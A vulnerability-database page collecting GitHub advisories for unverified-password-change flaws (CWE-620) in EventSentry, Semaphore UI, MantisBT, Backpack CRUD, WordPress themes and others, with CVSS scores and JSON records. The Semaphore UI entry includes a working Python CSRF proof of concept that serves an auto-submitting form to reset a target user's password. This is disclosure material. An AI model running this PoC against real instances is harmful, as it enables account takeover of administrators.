Vulnerability-Lookup

GHSA-8C83-CVGQ-PP7W

Vulnerability from github – Published: 2026-02-24 21:31 – Updated: 2026-02-26 03:31

Details

EventSentry versions prior to 6.0.1.20 contain an unverified password change vulnerability in the account management functionality of the Web Reports interface. The password change mechanism does not require validation of the current password before allowing a new password to be set. An attacker who gains temporary access to an authenticated user session can change the account password without knowledge of the original credentials. This enables persistent account takeover and, if administrative accounts are affected, may result in privilege escalation.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-24443"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-24T21:16:29Z",
    "severity": "HIGH"
  },
  "details": "EventSentry versions prior to 6.0.1.20\u00a0contain an unverified password change vulnerability in the account management functionality of the Web Reports interface. The password change mechanism does not require validation of the current password before allowing a new password to be set. An attacker who gains temporary access to an authenticated user session can change the account password without knowledge of the original credentials. This enables persistent account takeover and, if administrative accounts are affected, may result in privilege escalation.",
  "id": "GHSA-8c83-cvgq-pp7w",
  "modified": "2026-02-26T03:31:17Z",
  "published": "2026-02-24T21:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24443"
    },
    {
      "type": "WEB",
      "url": "https://www.eventsentry.com/downloads/version-history"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/eventsentry-web-reports-unverified-password-change"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8CJ9-R88M-8945

Vulnerability from github – Published: 2026-09-03 19:23 – Updated: 2026-09-03 19:23

Summary

Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation

Details

Summary

The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.

Details

The password change endpoint of Semaphore UI does not implement any CSRF protection:

No CSRF token required
No current password confirmation required
Authentication relies solely on a session cookie (semaphore) with no SameSite enforcement

A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users//password forms.

PoC

To reproduce the exploit, you can use the following python script:

import logging
import argparse
import time
import sys
import os 
from http.server import SimpleHTTPRequestHandler, HTTPServer

logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')

def forge_malicious_page(target, user_id, newpassword):
    return f"""
        <html>
        <body>

        <form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST">

        <input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}'  value='//}}' />
        </form>

        <script>
        document.getElementById("CSRF_POC").submit();
        </script>

        </body>
        </html>
    """;


parser = argparse.ArgumentParser()
parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True)
parser.add_argument("-u","--uri",  help="Base uri to target", required=True)
parser.add_argument("-n","--new_password",  help="new password to set", default='passwordchanged')
parser.add_argument("-p","--port",  help="Port to run server", default=1337)
args = parser.parse_args()


class Handler(SimpleHTTPRequestHandler):

     def do_GET(self):
        logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" %
                (self.client_address[0], self.command, self.path,
                self.path.split('?')[1] if '?' in self.path else 'None'))
        content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(content)))
        self.end_headers()
        self.wfile.write(content)


httpd = HTTPServer(("", args.port), Handler)
logging.info("[*] Serving at port "+str(args.port))

httpd.serve_forever()

Example :

python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337

1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337. 2 - Connect to semaphore UI in another tab with the targeted user. 3 - In the same browser, visit the malicious website (ex: localhost:1337). 4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password passwordchanged.

Impact

This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.

Severity

7.6 (High)


                  
                    CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/semaphoreui/semaphore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260707190631-c59c3dc9035b"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352",
      "CWE-620"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T19:23:15Z",
    "nvd_published_at": "2026-08-12T16:17:22Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.\n\n### Details\n\nThe password change endpoint of Semaphore UI does not implement any CSRF protection:\n\n- No CSRF token required\n- No current password confirmation required\n- Authentication relies solely on a session cookie (`semaphore`) with no `SameSite` enforcement\n\nA malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/\u003cid\u003e/password forms. \n\n\n### PoC\n\nTo reproduce the exploit, you can use the following python script:\n\n```python\nimport logging\nimport argparse\nimport time\nimport sys\nimport os \nfrom http.server import SimpleHTTPRequestHandler, HTTPServer\n\nlogging.basicConfig(filename=None, level=logging.DEBUG,format=\u0027%(asctime)s - %(message)s\u0027)\n\ndef forge_malicious_page(target, user_id, newpassword):\n    return f\"\"\"\n        \u003chtml\u003e\n        \u003cbody\u003e\n\n        \u003cform id=\"CSRF_POC\" action=\"{target}/api/users/{user_id}/password\" enctype=\"text/plain\" method=\"POST\"\u003e\n\n        \u003cinput type=\"hidden\" name=\u0027{{\"password\": \"{newpassword}\", \"project_id\": 1}}\u0027  value=\u0027//}}\u0027 /\u003e\n        \u003c/form\u003e\n        \n        \u003cscript\u003e\n        document.getElementById(\"CSRF_POC\").submit();\n        \u003c/script\u003e\n\n        \u003c/body\u003e\n        \u003c/html\u003e\n    \"\"\";\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\",\"--user_id\",type=int, help=\"user id to change password\", required=True)\nparser.add_argument(\"-u\",\"--uri\",  help=\"Base uri to target\", required=True)\nparser.add_argument(\"-n\",\"--new_password\",  help=\"new password to set\", default=\u0027passwordchanged\u0027)\nparser.add_argument(\"-p\",\"--port\",  help=\"Port to run server\", default=1337)\nargs = parser.parse_args()\n\n\nclass Handler(SimpleHTTPRequestHandler):\n    \n     def do_GET(self):\n        logging.info(\"Client: %s | Methode: %s | Chemin: %s | Query: %s\" %\n                (self.client_address[0], self.command, self.path,\n                self.path.split(\u0027?\u0027)[1] if \u0027?\u0027 in self.path else \u0027None\u0027))\n        content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n        self.send_header(\"Content-Length\", str(len(content)))\n        self.end_headers()\n        self.wfile.write(content)\n\n\nhttpd = HTTPServer((\"\", args.port), Handler)\nlogging.info(\"[*] Serving at port \"+str(args.port))\n\nhttpd.serve_forever()\n```\n\nExample : \n```bash\npython poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337\n```\n\n1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337.\n2 - Connect to semaphore UI in another tab with the targeted user. \n3 - In the same browser, visit the malicious website (ex: localhost:1337).\n4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password `passwordchanged`.\n\n\n### Impact\n\nThis is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.",
  "id": "GHSA-8cj9-r88m-8945",
  "modified": "2026-09-03T19:23:15Z",
  "published": "2026-09-03T19:23:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/security/advisories/GHSA-8cj9-r88m-8945"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73292"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/commit/2d6e2e3eb10e8bf688e2ab59609b909a012fad4c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/commit/c59c3dc9035badcbf0609c7d35679c06e590a956"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/semaphoreui/semaphore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/releases/tag/v2.18.21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation"
}

GHSA-8J63-78XQ-X2Q3

Vulnerability from github – Published: 2025-12-04 21:31 – Updated: 2025-12-08 18:30

Details

Waveshare RS232/485 TO WIFI ETH (B) Serial to Ethernet/Wi-Fi Gateway Firmware V3.1.1.0: HW 4.3.2.1: Webpage V7.04T.07.002880.0301 allows attackers to set the Administrator password and username as blank values, allowing attackers to bypass authentication.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-63362"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-04T19:16:04Z",
    "severity": "CRITICAL"
  },
  "details": "Waveshare RS232/485 TO WIFI ETH (B) Serial to Ethernet/Wi-Fi Gateway Firmware V3.1.1.0: HW 4.3.2.1: Webpage V7.04T.07.002880.0301 allows attackers to set the Administrator password and username as blank values, allowing attackers to bypass authentication.",
  "id": "GHSA-8j63-78xq-x2q3",
  "modified": "2025-12-08T18:30:25Z",
  "published": "2025-12-04T21:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63362"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1AGv9KWMTB71NJfIOncuNO6FyK0UAqxmL/view?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://otsecverse.github.io/OTSecVerse/posts/Post-2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8PG2-F5FH-MJ6F

Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2022-05-24 19:08

Details

A CWE-620: Unverified Password Change vulnerability exists in EVlink City (EVC1S22P4 / EVC1S7P4 all versions prior to R8 V3.4.0.1), EVlink Parking (EVW2 / EVF2 / EV.2 all versions prior to R8 V3.4.0.1), and EVlink Smart Wallbox (EVB1A all versions prior to R8 V3.4.0.1 ) that could allow an attacker connected to the charging station web server to modify the password of a user.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-22773"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-21T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A CWE-620: Unverified Password Change vulnerability exists in EVlink City (EVC1S22P4 / EVC1S7P4 all versions prior to R8 V3.4.0.1), EVlink Parking (EVW2 / EVF2 / EV.2 all versions prior to R8 V3.4.0.1), and EVlink Smart Wallbox (EVB1A all versions prior to R8 V3.4.0.1 ) that could allow an attacker connected to the charging station web server to modify the password of a user.",
  "id": "GHSA-8pg2-f5fh-mj6f",
  "modified": "2022-05-24T19:08:47Z",
  "published": "2022-05-24T19:08:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22773"
    },
    {
      "type": "WEB",
      "url": "http://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-194-06"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8VGV-FFV5-269J

Vulnerability from github – Published: 2026-03-26 21:31 – Updated: 2026-03-28 03:31

Details

An issue in Daylight Studio FuelCMS v1.5.2 allows attackers to exfiltrate users' password reset tokens via a mail splitting attack.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-30458"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-26T19:17:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue in Daylight Studio FuelCMS v1.5.2 allows attackers to exfiltrate users\u0027 password reset tokens via a mail splitting attack.",
  "id": "GHSA-8vgv-ffv5-269j",
  "modified": "2026-03-28T03:31:25Z",
  "published": "2026-03-26T21:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30458"
    },
    {
      "type": "WEB",
      "url": "https://github.com/daylightstudio/FUEL-CMS"
    },
    {
      "type": "WEB",
      "url": "https://pentest-tools.com/PTT-2025-025-Account-Takeover-via-Email-Array.pdf"
    },
    {
      "type": "WEB",
      "url": "http://daylight.com"
    },
    {
      "type": "WEB",
      "url": "http://fuelcms.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-93CQ-WG48-929M

Vulnerability from github – Published: 2025-03-01 09:30 – Updated: 2025-03-01 09:30

Details

The Nokri – Job Board WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.6.2. This is due to the plugin not properly checking for an empty token value prior updating their details like password. This makes it possible for unauthenticated attackers to change arbitrary user's password, including administrators, and leverage that to gain access to their account.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-12824"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-01T07:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "The Nokri \u2013 Job Board WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.6.2. This is due to the plugin not properly checking for an empty token value prior updating their details like password. This makes it possible for unauthenticated attackers to change arbitrary user\u0027s password, including administrators, and leverage that to gain access to their account.",
  "id": "GHSA-93cq-wg48-929m",
  "modified": "2025-03-01T09:30:28Z",
  "published": "2025-03-01T09:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12824"
    },
    {
      "type": "WEB",
      "url": "https://themeforest.net/item/nokri-job-board-wordpress-theme/22677241"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/60a7cce0-637f-49bd-aa4a-fd7023d99a64?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-93X3-M7PW-PPQM

Vulnerability from github – Published: 2024-05-13 14:57 – Updated: 2024-05-14 20:01

Summary

Mantis Bug Tracker (MantisBT) allows user account takeover in the signup/reset password process

Details

Insufficient access control in the registration and password reset process allows an attacker to reset another user's password and takeover their account, if the victim has an incomplete request pending.

The exploit is only possible while the verification token is valid, i.e for 5 minutes after the confirmation URL sent by e-mail has been opened, and the user did not complete the process by updating their password.

A brute-force attack calling account_update.php with increasing user IDs is possible.

Impact

A successful takeover would grant the attacker full access to the compromised account, including sensitive information and functionalities associated with the account, the extent of which depends on its privileges and the data it has access to.

Patches

92d11a01b195a1b6717a2f205218089158ea6d00

Workarounds

Mitigate the risk by reducing the verification token's validity (change the value of the TOKEN_EXPIRY_AUTHENTICATED constant in constants_inc.php).

References

https://mantisbt.org/bugs/view.php?id=34433

Credits

Alexander Christian, from Vantage Point Security Indonesia

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.26.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "mantisbt/mantisbt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34077"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-305",
      "CWE-620"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-13T14:57:13Z",
    "nvd_published_at": "2024-05-14T15:38:28Z",
    "severity": "HIGH"
  },
  "details": "Insufficient access control in the registration and password reset process allows an attacker to reset another user\u0027s password and takeover their account, if the victim has an incomplete request pending.\n\nThe exploit is only possible while the verification token is valid, i.e for 5 minutes after the confirmation URL sent by e-mail has been opened, and the user did not complete the process by updating their password.\n\nA brute-force attack calling account_update.php with increasing user IDs is possible. \n \n### Impact\n\nA successful takeover would grant the attacker full access to the compromised account, including sensitive information and functionalities associated with the account, the extent of which depends on its privileges and the data it has access to.\n\n### Patches\n\n92d11a01b195a1b6717a2f205218089158ea6d00\n\n### Workarounds\n\nMitigate the risk by reducing the verification token\u0027s validity (change the value of the `TOKEN_EXPIRY_AUTHENTICATED` constant in *constants_inc.php*).\n\n### References\n\nhttps://mantisbt.org/bugs/view.php?id=34433\n\n### Credits\n\nAlexander Christian, from Vantage Point Security Indonesia\n",
  "id": "GHSA-93x3-m7pw-ppqm",
  "modified": "2024-05-14T20:01:07Z",
  "published": "2024-05-13T14:57:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mantisbt/mantisbt/security/advisories/GHSA-93x3-m7pw-ppqm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34077"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mantisbt/mantisbt/commit/92d11a01b195a1b6717a2f205218089158ea6d00"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mantisbt/mantisbt"
    },
    {
      "type": "WEB",
      "url": "https://mantisbt.org/bugs/view.php?id=34433"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mantis Bug Tracker (MantisBT) allows user account takeover in the signup/reset password process"
}

GHSA-94R8-MJP9-M9V4

Vulnerability from github – Published: 2025-05-09 09:33 – Updated: 2025-05-09 09:33

Details

The IMITHEMES Listing plugin is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.3. This is due to the plugin not properly validating a verification code value prior to updating their password through the imic_reset_password_init() function. This makes it possible for unauthenticated attackers to change any user's passwords, including administrators if the users email is known.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-2253"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-09T07:16:04Z",
    "severity": "CRITICAL"
  },
  "details": "The IMITHEMES Listing plugin is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.3. This is due to the plugin not properly validating a verification code value prior to updating their password through the imic_reset_password_init() function. This makes it possible for unauthenticated attackers to change any user\u0027s passwords, including administrators if the users email is known.",
  "id": "GHSA-94r8-mjp9-m9v4",
  "modified": "2025-05-09T09:33:18Z",
  "published": "2025-05-09T09:33:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2253"
    },
    {
      "type": "WEB",
      "url": "https://themeforest.net/item/auto-stars-car-dealership-listings-wp-theme/11560490"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4ed0ea4a-9cbf-4033-a31f-6cb954e8ce01?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-974C-VF2R-989V

Vulnerability from github – Published: 2022-09-08 00:00 – Updated: 2022-09-13 00:00

Details

Unverified Password Change in GitHub repository phpfusion/phpfusion prior to 9.10.20.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-3152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-07T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "Unverified Password Change in GitHub repository phpfusion/phpfusion prior to 9.10.20.",
  "id": "GHSA-974c-vf2r-989v",
  "modified": "2022-09-13T00:00:35Z",
  "published": "2022-09-08T00:00:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3152"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phpfusion/phpfusion/commit/57c96d4a0c00e8e1e25100087654688123c6e991"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/b3f888d2-5c71-4682-8287-42613401fd5a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9FW9-8C49-QCH8

Vulnerability from github – Published: 2026-08-20 18:38 – Updated: 2026-08-20 18:38

Summary

Laravel Backpack CRUD: MyAccountController allows changing the login email without a current-password check

Details

Summary

MyAccountController::postAccountInfoForm allows an authenticated user to update the authentication column (default: email) without verifying their current password. Because email is the account-recovery anchor, this enables account takeover after the attacker's session ends: the new email address can be used to request a password reset from outside the system.

The password-change endpoint in the same controller correctly requires old_password verification, so the gap is asymmetric.

Details

The postAccountInfoForm action passes $request->validated() directly to $user->update(). The AccountInfoRequest whitelists the authentication column (email by default) with no ownership challenge. Contrast this with ChangePasswordRequest, which uses Hash::check against the stored password before allowing any change.

Scenarios where this is exploitable include: - A brief unauthorized session (e.g. unattended workstation, XSS in the admin panel) - An insider/offboarding case where a departing admin sets a personal email address before access is revoked, then resets the password after leaving

Patch

Fixed in #5990 — the authentication column is now protected by a current_password check (mirroring ChangePasswordRequest) whenever its value changes.

A stronger mitigation — sending a verification link to the new address before persisting the change — can be layered on top using Laravel's MustVerifyEmail flow.

Affected versions

All versions prior to 6.8.14 / 7.0.38.

Fixed versions

6.x: 6.8.14
7.x: 7.0.38

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "backpack/crud"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.8.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "backpack/crud"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.38"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54176"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-620"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T18:38:30Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`MyAccountController::postAccountInfoForm` allows an authenticated user to update\nthe authentication column (default: `email`) without verifying their current password.\nBecause email is the account-recovery anchor, this enables account takeover after\nthe attacker\u0027s session ends: the new email address can be used to request a password\nreset from outside the system.\n\nThe password-change endpoint in the same controller correctly requires `old_password`\nverification, so the gap is asymmetric.\n\n## Details\n\nThe `postAccountInfoForm` action passes `$request-\u003evalidated()` directly to\n`$user-\u003eupdate()`. The `AccountInfoRequest` whitelists the authentication column\n(`email` by default) with no ownership challenge. Contrast this with\n`ChangePasswordRequest`, which uses `Hash::check` against the stored password before\nallowing any change.\n\nScenarios where this is exploitable include:\n- A brief unauthorized session (e.g. unattended workstation, XSS in the admin panel)\n- An insider/offboarding case where a departing admin sets a personal email address\n  before access is revoked, then resets the password after leaving\n\n## Patch\n\nFixed in [#5990](https://github.com/Laravel-Backpack/CRUD/pull/5990) \u2014 the\nauthentication column is now protected by a `current_password` check (mirroring\n`ChangePasswordRequest`) whenever its value changes.\n\nA stronger mitigation \u2014 sending a verification link to the new address before\npersisting the change \u2014 can be layered on top using Laravel\u0027s `MustVerifyEmail` flow.\n\n## Affected versions\n\nAll versions prior to 6.8.14 / 7.0.38.\n\n## Fixed versions\n\n- 6.x: 6.8.14\n- 7.x: 7.0.38",
  "id": "GHSA-9fw9-8c49-qch8",
  "modified": "2026-08-20T18:38:30Z",
  "published": "2026-08-20T18:38:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Laravel-Backpack/CRUD/security/advisories/GHSA-9fw9-8c49-qch8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Laravel-Backpack/CRUD/pull/5990"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Laravel-Backpack/CRUD"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Laravel-Backpack/CRUD/releases/tag/6.8.14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Laravel-Backpack/CRUD/releases/tag/7.0.38"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Laravel Backpack CRUD: MyAccountController allows changing the login email without a current-password check"
}

CWE-620

Unverified Password Change

GHSA-8C83-CVGQ-PP7W

GHSA-8CJ9-R88M-8945

Summary

Details

PoC

Impact

GHSA-8J63-78XQ-X2Q3

GHSA-8PG2-F5FH-MJ6F

GHSA-8VGV-FFV5-269J

GHSA-93CQ-WG48-929M

GHSA-93X3-M7PW-PPQM

Impact

Patches

Workarounds

References

Credits

GHSA-94R8-MJP9-M9V4

GHSA-974C-VF2R-989V

GHSA-9FW9-8C49-QCH8

Summary

Details

Patch

Affected versions

Fixed versions

Mitigation

Mitigation